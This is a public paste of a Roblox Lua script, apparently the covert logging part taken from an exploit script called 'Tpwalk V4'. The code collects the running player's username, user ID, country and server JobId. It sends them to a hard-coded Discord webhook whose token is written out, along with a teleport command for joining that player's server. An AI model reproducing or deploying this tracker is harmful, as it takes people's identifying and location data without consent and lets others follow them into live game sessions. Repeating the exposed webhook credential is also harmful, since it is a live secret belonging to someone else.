R

removed iosexploiters logging lol

public
rrixh Aug 14, 2024 Never 56
Clone
Lua iosexploiters-webhook_rrixh 98 lines (88 loc) | 4.27 KB
1
--> Services <--
2
local Players = game:GetService("Players")
3
local HttpService = game:GetService("HttpService")
4
local MarketplaceService = game:GetService("MarketplaceService")
5
local GroupService = game:GetService("GroupService")
6
local LocalizationService = game:GetService("LocalizationService")
7
8
--> Function to fetch group name <--
9
local function fetchGroupName(groupId)
10
local success, groupInfo = pcall(GroupService.GetGroupInfoAsync, GroupService, groupId)
11
if success then
12
return groupInfo.Name
13
else
14
warn("Failed to fetch group name for ID: " .. tostring(groupId))
15
return "Unknown Group"
16
end
17
end
18
19
--> Trims leading and trailing spaces from a string and removes dots <--
20
local function trimAndRemoveDots(s)
21
return s:match("^%s*(.-)%s*$"):gsub("%.", "")
22
end
23
24
--> Attempt to fetch the country region for a player <--
25
local function getPlayerCountry(player)
26
local success, countryRegionCode = pcall(function()
27
return LocalizationService:GetCountryRegionForPlayerAsync(player)
28
end)
29
return success and countryRegionCode or "Unknown"
30
end
31
32
--> Safe call to get product info <--
33
local success, productInfo = pcall(MarketplaceService.GetProductInfo, MarketplaceService, game.PlaceId)
34
local gameName, gameDescription = "N/A", "N/A"
35
local creatorType, creatorId, creatorName = "N/A", "N/A", "Unknown"
36
local creatorProfileUrl, creatorLabel, creatorIdLabel = "", "", ""
37
local gameUrl = "https://www.roblox.com/games/" .. tostring(game.PlaceId)
38
39
if success and productInfo then
40
gameName = trimAndRemoveDots(productInfo.Name)
41
gameDescription = productInfo.Description or "N/A"
42
creatorType = productInfo.Creator.CreatorType
43
creatorId = productInfo.Creator.CreatorTargetId
44
45
if creatorType == "User" then
46
creatorProfileUrl = "https://www.roblox.com/users/" .. tostring(creatorId) .. "/profile/"
47
creatorLabel = "**Game Creator Profile:** "
48
creatorIdLabel = "**Game Creator User ID:** "
49
local usernameSuccess, username = pcall(Players.GetNameFromUserIdAsync, Players, creatorId)
50
creatorName = usernameSuccess and username or "Unknown User"
51
elseif creatorType == "Group" then
52
creatorProfileUrl = "https://www.roblox.com/groups/" .. tostring(creatorId)
53
creatorLabel = "**Game Creator Group:** "
54
creatorIdLabel = "**Game Creator Group ID:** "
55
creatorName = fetchGroupName(creatorId)
56
end
57
gameUrl = "https://www.roblox.com/games/" .. tostring(game.PlaceId) .. "/" .. HttpService:UrlEncode(gameName)
58
end
59
60
--> Player Variables <--
61
local player = Players.LocalPlayer
62
local playerCountry = getPlayerCountry(player)
63
64
--> Discord Embed <--
65
local embedDescription = "## __SCRIPT EXECUTED!__\n"
66
.. "**Script:** Tpwalk V4\n"
67
.. "**User:** " .. player.Name .. " (" .. player.DisplayName .. ")\n"
68
.. "**User ID:** " .. tostring(player.UserId) .. "\n"
69
.. "**Server ID :** " .. game.JobId .."\n"
70
.. "**Country:** " .. playerCountry .. "\n\n"
71
.. "**Game Name:** " .. gameName .. "\n"
72
.. "**Game ID:** " .. game.PlaceId .. "\n"
73
.. "**Game Description:** " .. gameDescription .. "\n\n"
74
.. "**Game URL:** " .. gameUrl .. "\n\n"
75
.. "**Game " .. (creatorType == "User" and "Creator" or "Group") .. " Name:** " .. creatorName .. "\n"
76
.. creatorIdLabel .. tostring(creatorId) .. "\n"
77
.. creatorLabel .. creatorProfileUrl .. "\n"
78
79
local embed = {
80
["title"] = gameName,
81
["description"] = embedDescription,
82
["type"] = "rich",
83
["color"] = tonumber(0x2b2d31),
84
["footer"] = {
85
["text"] = "discord.gg/iosexploiters",
86
},
87
["timestamp"] = os.date("!%Y-%m-%dT%H:%M:%SZ"),
88
}
89
90
--> Send the Discord webhook request <--
91
(syn and syn.request or http_request or http.request)({
92
Url = 'https://discord.com/api/webhooks/1221274224669233182/T2EloyvS3WEjc-cB_Dc0ZwZGcG01nNfoMgmvC77v5B4J_mDePCaMS9icTXXcDI_ZqItq',
93
Method = 'POST',
94
Headers = {
95
['Content-Type'] = 'application/json',
96
},
97
Body = HttpService:JSONEncode({ content = "-- Teleports To " .. player.Name .. "'s Server\n" .. "game:GetService(\"TeleportService\"):TeleportToPlaceInstance(\"" .. tostring(game.PlaceId) .. "\", \"" .. game.JobId .. "\", game.Players.LocalPlayer)", embeds = {embed} }),
98
})